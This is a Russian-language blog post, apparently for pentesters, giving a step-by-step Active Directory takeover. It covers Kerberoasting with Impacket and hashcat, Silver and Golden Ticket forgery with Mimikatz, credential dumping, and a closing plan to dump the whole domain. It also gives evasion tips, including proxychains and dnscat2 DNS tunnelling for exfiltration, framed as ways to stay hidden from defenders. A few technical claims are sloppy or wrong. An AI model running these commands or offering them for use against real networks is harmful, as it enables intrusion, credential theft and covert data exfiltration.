Kerberos в корпоративке: как стать королём домена через Golden Ticket
Сегодня на повестке — Kerberos, этот жирный ключ к корпоративному царству. Windows-домены — наш хлеб с маслом, а Kerberos-атаки — прямой билет на трон. Многие пенты упускают эту тему, а зря, ведь это дорога к админу без лишнего шума. Ща разберём, как стать королём через Golden Ticket, и заодно подкину трюков, чтобы Blue Team нас не спалила. Погнали по шагам, как в Red Team отчёте — чётко, жёстко, с мясом.
Kerberos: Путь к доменному трону
Что вижу, куда лезу
Kerberos — это основа аутентификации в Windows-доменах. Если ты в сетке, ты уже на полпути: можешь тырить хэши, подделывать билеты и получать доступ к чему угодно. Точка входа — любой скомпрометированный хост или пользователь с доступом к домену. Домен-контроллер (DC) — наша цель, а билеты Kerberos (TGT и TGS) — наш инструмент. Что бросилось в глаза? Многие админы не следят за SPN (Service Principal Names), не патчат Mimikatz и не мониторят сетевой трафик. Это наш шанс.
Векторы атаки: От Kerberoasting до Golden Ticket
1. Kerberoasting: Тырим хэши SPN
Если у тебя есть доступ к домену (да хоть юзер с минимальными правами), можно вытащить хэши сервисных аккаунтов через SPN. Почему это работает? SPN привязаны к сервисам, и билеты TGS для них шифруются с помощью пароля сервисного акка. А пароль этот часто слабый, да ещё и не меняется годами.
- Инструмент:
GetUserSPNs.py
из Impacket. - Команда:
1 |
python3 GetUserSPNs.py -dc-ip <DC_IP> corp.local/<username>:<password> -request |
- Что делаем: Запрашиваем TGS для всех SPN в домене. Получаем Kerberos-билеты, которые шифрованы хэшем NTLM сервисного акка.
- Результат: Хэши в формате, который можно брутить через Hashcat.
- Брут:
1 |
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt |
Если хэш треснул — у тебя пароль сервисного акка. Часто это уже привилегированный юзер, который может дать доступ к важным сервисам.
2. Silver Ticket: Подделка TGS
Silver Ticket — это подделка TGS-билета для доступа к конкретному сервису (например, SMB-шара на DC). Нам нужен хэш NTLM сервисного акка (например, из Kerberoasting) и SID домена.
- Инструмент: Mimikatz.
- Команда:
1 2 |
mimikatz # kerberos::silver /domain:corp.local /sid:S-1-5-21-<domain_sid> /target:dc.corp.local /service:cifs /rc4:<NTLM_hash> |
- Что делаем: Создаём фейковый TGS-билет для сервиса
cifs/dc.corp.local
. - Результат: Доступ к шаре на DC без настоящего пароля. Подключаемся через SMB:
1 |
impacket-smbclient -k //dc.corp.local/share |
Silver Ticket — это локальный доступ к сервису. Но если хочешь править всем доменом, нужен следующий шаг.
3. Golden Ticket: Король домена
Golden Ticket — это подделка TGT (Ticket Granting Ticket), который даёт доступ ко всему домену. Для этого нужен хэш NTLM аккаунта krbtgt
— это корневой ключ Kerberos. Если он у тебя есть, ты бог в домене.
- Шаг 1. Дамп хэшей с DC:
Если у тебя есть доступ к DC (например, через Silver Ticket или другой эксплойт), дампи хэши с помощью Mimikatz.- Команда:
1 |
mimikatz # sekurlsa::logonpasswords |
Или экспортируй билеты:
1 |
mimikatz # sekurlsa::tickets /export |
- Ищи NTLM-хэш для
krbtgt
.
- Шаг 2. Создание Golden Ticket:
Используй Mimikatz для создания фейкового TGT.- Команда:
1 2 |
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-<domain_sid> /krbtgt:<NTLM_hash_krbtgt> /ptt |
- Флаг
/ptt
(pass-the-ticket) сразу инжects билет в текущую сессию. - Результат: Теперь ты — админ домена. Можешь аутентифицироваться где угодно, пока билет валиден (по умолчанию 10 лет, лол). Подключайся к любому ресурсу:
1 |
dir \\dc.corp.local\c$ |
Golden Ticket — это game over для Blue Team, если они не мониторят аномальные TGT.
Трюк: Маскировка трафика
Blue Team может спалить твои запросы к DC или подозрительный трафик. Маскируйся через прокси или DNS-туннели.
- Через Proxychains:
Настройproxychains.conf
с SOCKS5-прокси, чтобы твой трафик шёл через промежуточный сервер.- Команда:
1 |
proxychains impacket-smbclient -k //dc.corp.local/share |
- Это спрячет твой IP от простого мониторинга.
- DNS-туннель:
Используйdnscat2
для эксфильтрации данных или управления через DNS-запросы. Это вообще не палится, если у них нет глубокого анализа DNS-трафика.- Установи сервер:
1 |
ruby dnscat2.rb |
На клиенте:
1 |
./dnscat --domain <your_domain> |
-
- Перегоняй команды и данные через DNS. Медленно, но скрытно.
Советы
- SPN-охота: Если Kerberoasting дал хэши, проверь, какие ещё сервисы привязаны к этим аккам. Может, там прямой доступ к SQL или другим вкусностям. Используй
BloodHound
для анализа связей. - Pass-the-Hash: Если хэш
krbtgt
не дампнулся, попробуй PtH с другими админскими хэшами черезpsexec.py
из Impacket. - Kerberos Delegation: Ищи акки с unconstrained delegation — это ещё одна дыра для эскалации. Команда:
Get-DomainUser -TrustedToAuth
в PowerView. - Мониторинг логов: Если билет создан, проверь, не спалят ли тебя через Event ID 4768/4769 на DC. Настрой фильтры в Wireshark на Kerberos-трафик.
- План атаки: Golden Ticket в кармане? Погнали на DC, дампим всё через
ntdsutil
илиSecretsDump
. Домен твой, братан, жги дальше!

На этом все. Всем хорошего дня!